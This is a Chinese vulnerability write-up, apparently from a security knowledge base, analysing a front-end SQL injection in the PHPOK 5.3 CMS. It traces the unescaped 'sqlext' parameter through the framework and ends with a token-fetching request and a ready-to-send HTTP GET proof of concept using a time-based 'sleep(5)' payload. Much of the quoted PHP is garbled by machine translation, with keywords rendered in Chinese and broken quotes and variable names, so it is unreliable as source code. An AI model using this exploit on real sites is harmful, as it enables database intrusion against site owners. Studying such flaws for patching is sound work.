menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 104-PHPOK chevron_right 001-PHPOK 5.3 前台注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-PHPOK 5.3 前台注入.md
    10.72 KB / 2021-07-17 00:01:30
        # PHPOK 5.3 前台注入
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    PHPOK 5.3
    
    ### 三、复现过程
    
    **漏洞分析**
    
    灵活获取参数:$this->get()方法
    
    framework / init.php#get
    
    
    ```php
    最后的公共函数get($ id,$ type =“ safe”,$ ext =“”)
    { 
        // PGC进入获取
        $ val = isset($ _ POST [$ id])?$ _POST [$ id]:(isset($ _ GET [$ id])?$ _GET [$ id]:(isset($ _ COOKIE [$ id])?$ _COOKIE [$ id]:'')); 
        if($ val ==''){ 
            if($ type =='int'|| $ type =='intval'|| $ type =='float'|| $ type =='floatval'){ 
                返回0 ; 
            } else { 
                return”; 
            } 
        } 
        //判断内容是否有转义,所有未转义的数据都直接转义
        $ addslashes = false; 
        if(function_exists(“ get_magic_quotes_gpc”)&& get_magic_quotes_gpc()){ 
            $ addslashes = true; 
        } 
        if(!
            $ addslashes){ $ val = $ this-> _ addslashes($ val); 
        }
        返回$ this-> format($ val,$ type,$ ext); 
    }
    ```
    
    跟进format函数:framework / init.php#format
    
    
    ```php
    最终的公共函数格式($ msg,$ type =“ safe”,$ ext =“”)
    { 
        if($ msg ==“”){ 
            return ;; 
        } 
        if(is_array($ msg)){ 
            foreach($ msg as $ key => $ value){ 
                if(!is_numeric($ key)){ 
                    $ key2 = $ this-> format($ key); 
                    if($ key2 ==``|| in_array($ key2,array('#','&','%'))){ 
                        unset($ msg [$ key]); 
                        继续; 
                    } 
                } 
                $ msg [$ key] = $ this-> format($ value,$ type,$ ext); 
            } 
            if($ msg && count($ msg)> 0){ 
                返回$ msg; 
            } 
            返回false; 
        }
        if($ type =='html_js'||($ type =='html'&& $ ext)){ 
            $ msg = stripslashes($ msg); 
            if($ this-> app_id!='admin'){ 
                $ msg = $ this-> lib('string')-> xss_clean($ msg); 
            } 
            $ msg = $ this-> lib('string')-> clear_url($ msg,$ this-> url); 
            返回addslashes($ msg); 
        } 
        //转义去除
        $ msg = stripslashes($ msg); 
        //格式化处理内容
        开关($ type){ 
            case'safe_text':
                $ msg = strip_tags($ msg); 
                $ msg = str_replace(array(“ \\”,“'”,'“',” <“,”>“),'',$ msg); 
            break; 
            情况'system':
                $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg;
            打破; 
            情况'id':
                $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg; 
            打破; 
            情况'复选框':
                $ msg = strtolower($ msg)=='on'吗?1:$ this-> format($ msg,'safe'); 
            打破; 
            情况'int':
                $ msg = intval($ msg); 
            打破; 
            情况'intval':
                $ msg = intval($ msg); 
            打破; 
            情况'float':
                $ msg = floatval($ msg); 
            打破; 
            情况'floatval':
                $ msg = floatval($ msg); 
            打破; 
            案例“时间”:
    
            打破; 
            情况'html':
                $ msg = $ this-> lib('string')-> safe_html($ msg,$ this-> url); 
            打破; 
            情况'func':
                $ msg = function_exists($ ext)?$ ext($ msg):假; 
            打破; 
            情况'text':
                $ msg = strip_tags($ msg); 
            打破; 
            默认值:
                $ msg = str_replace(array(“ \\”,“'”,'“',” <“,”>“),array(”&#92;“,”&#39;“,”&quot; “,”&lt;“,”&gt;“),$ msg); 
            break; 
        } 
        if($ msg){ 
            $ msg =加上斜线($ msg); 
        } 
        返回$ msg; 
    }
    ```
    
    格式默认为安全模式,也就是仅将`\ " ' < >`实体编码。
    
    注入点:
    
    framework / api / index_control.php#phpok_f
    
    
    ```php
    // ... 
    $ token = $ this-> get(“ token”); 
    if(!$ token){ 
        $ this-> json(P_Lang(“接口数据异常”));; 
    } 
    $ this-> lib('token')-> keyid($ this-> site ['api_code']); 
    $ info = $ this-> lib('token')-> decode($ token); 
    if(!$ info){ 
        $ this-> json(P_Lang('信息为空')); 
    } 
    $ id = $ info ['id'];
    
    // 176行
    $ ext = $ this-> get('ext'); 
    if($ ext && is_array($ ext)){ 
        foreach($ ext as $ key => $ value){ 
            if(!$ value){ 
                继续;
            } 
            // sqlext变量转义取消
            if($ key =='sqlext'&& $ value){ 
                $ value = str_replace(array('&#39;','“”,'’'','&#34 ;'),array(“'”,'“',”'“,'”'),$ value); 
            } 
            $ param [$ key] = $ value; 
        } 
    } 
    // $ id从加密的令牌中来
    /// sqlsql的值的函数只有_userlist,_arc_condition_single,_arc_condition 
    $ list = $ this-> call-> phpok($ id,$ param);
    ```
    
    继续跟进phpok函数:framework / phpok_call.php#phpok
    
    
    ```php
    公共功能phpok($ id,$ rs =“”)
    { 
        // 76行
        $ siteinfo = $ this-> model('site')-> get_one($ rs ['site']); 
        // 91行
        if(substr($ id,0,1)!='_'){ 
        // $ id从令牌中来,为phpok表中identifier标识符,$ rs ['site']可控为任意值
        $ call_rs = $ this-> load_phpoklist($ id,$ rs ['site']); 
        } 
        // 116行
        $ func ='_'。$ call_rs ['type_id']; 
        // 131行动态调用函数_xxxx 
        return $ 
    this- > $ func($ call_rs,$ cache_id); }
    ```
    
    跟进load_phpoklist:framework / phpok_call.php#load_phpoklist
    
    
    ```php
    私有函数load_phpoklist($ id,$ siteid = 0)
    { 
        $ this-> model('call')-> site_id($ siteid); 
        if($ this-> _ cache && $ this-> _ cache [$ id]){ 
            返回$ this-> _ cache [$ id]; 
        } 
        $ this-> _ cache = $ this-> model('call')-> all($ siteid,'identifier'); 
        if($ this-> _ cache && $ this-> _ cache [$ id]){ 
            返回$ this-> _ cache [$ id]; 
        } 
        返回false; 
    }
    ```
    
    这一段代码`$this->model('call')->all($siteid,'identifier');`实现的是查询phpok表,其中identifier = xxx的信息,然后在phpok()函数的131行进行动态调用其插入为type_id的值函数。
    
    ![](images/15893356773631.png)
    
    
    例如我们要调用framework/phpok_call.php下的_arclist函数,我们可以选择:
    
    
    ```bash
    http://url/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')
    ```
    
    我们接着在framework/phpok_call.php电子邮件寻找柯林斯触发SQL的函数,从phpok表里我们可以看到其默认的TYPE_ID只有四个不同的值arclist, ,arc,catelist,project我们而需要找到拼接sqlext变量的函数:
    
    框架/ phpok_call.php#_arclist
    
    
    ```bash
    私有函数_arclist($ rs,$ cache_id ='')
    { 
        // 254行
        $ condition = $ this-> _ arc_condition($ rs,$ flist,$ project); 
        //带入注入数据
        $ array ['total'] = $ this-> model('list')-> arc_count($ project ['module'],$ condition); 
    }
    ```
    
    跟进:framework / phpok_call.php#_arc_condition
    
    直接拼接了sqlext
    
    
    ```bash
    private function _arc_condition($rs,$fields='',$project='')
    {
        // 623行
            if($rs['sqlext']){
            $condition .= " AND ".$rs['sqlext'];
        }
    
        // 671行
        return $condition;
    }
    ```
    
    接着将结果带入了:
    
    
    ```bash
    $ this-> model('list')-> arc_count($ project ['module'],$ condition);
    ```
    
    调用:framework / model / list.php#arc_count 5.jpg
    
    ![](images/15893357240629.png)
    
    
    拼接sql,调用$this->db->count($sql)
    
    framework / engine / db / mysqli.php#count
    
    
    ```php
    公共功能计数($ sql =“”,$ is_count = true)
    { 
        if($ sql && is_string($ sql)&& $ is_count){ 
            $ this-> set('type','num'); 
            $ rs = $ this-> get_one($ sql); 
            $ this-> set('type','assoc'); 
            返回$ rs [0]; 
        } else { 
            if($ sql && is_string($ sql)){ 
                $ this-> query($ sql); 
            } 
            if($ this-> query){ 
                返回mysqli_num_rows($ this-> query); 
            } 
        } 
        返回false; 
    }
    ```
    
    根进get_one函数:framework / engine / db / mysqli.php#get_one
    
    
    ```php
    公共功能get_one($ sql ='')
    { 
        if($ sql){ 
            $ false = $ this-> cache_false($ sql); 
            if($ false){ 
                返回false; 
            } 
            if($ this-> cache_get($ sql)){ 
                返回$ this-> cache_get($ sql); 
            } 
            $ this-> query($ sql);
    ```
    
    根进$this->query($sql);:framework / engine / db / mysqli.php#query
    
    ![](images/15893357510067.png)
    
    
    最终将sql带入执行。
    
    当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密('id=m_picplayer')。
    
    框架/ API / index_control.php#token_f
    
    
    ```php
    { 
        $ this-> config('is_ajax',true); 
        if(!$ this-> site ['api_code']){ 
            $ this-> error(P_Lang(“系统未配置接口功能”)); 
        } 
        $ id = $ this-> get('id','system'); 
        if(!$ id){ 
            $ this-> error(P_Lang('未指定数据调用标识')); 
        } 
        $ this-> model('call')-> site_id($ this-> site ['id']); 
        //限制范围,其中identifier = $ id 
        $ rs = $ this-> model('call')-> get_one($ id,'identifier'); 
        if(!$ rs ||!$ rs ['status']){ 
            $ this-> error(P_Lang('标识不存在或未启用')); 
        }
    
      // 141行
        $ array = array('id'=> $ id,'param'=> $ param); 
        $ token = $ this-> lib('token')-> encode($ array); 
        $ this-> success($ token); 
    }
    ```
    
    其中第一个如果条件需要在后台生成api字符串:
    
    ![](images/15893357679726.png)
    
    
    没开启的话,其实构造一个csrf的poc也是可以的
    
    第二个条件预期id=m_picplayer即可
    
    ### 漏洞复现
    
    
    ```bash
    http://url/api.php?c=index&f=token&id=m_picplayer
    ```
    
    ![](images/15893357881539.png)
    
    
    POC:
    
    
    ```bash
    GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
    Host: 127.0.0.1
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
    Connection: close
    ```
    
    **四、参考链接**
    
    https://xz.aliyun.com/t/6830
    
    links
    file_download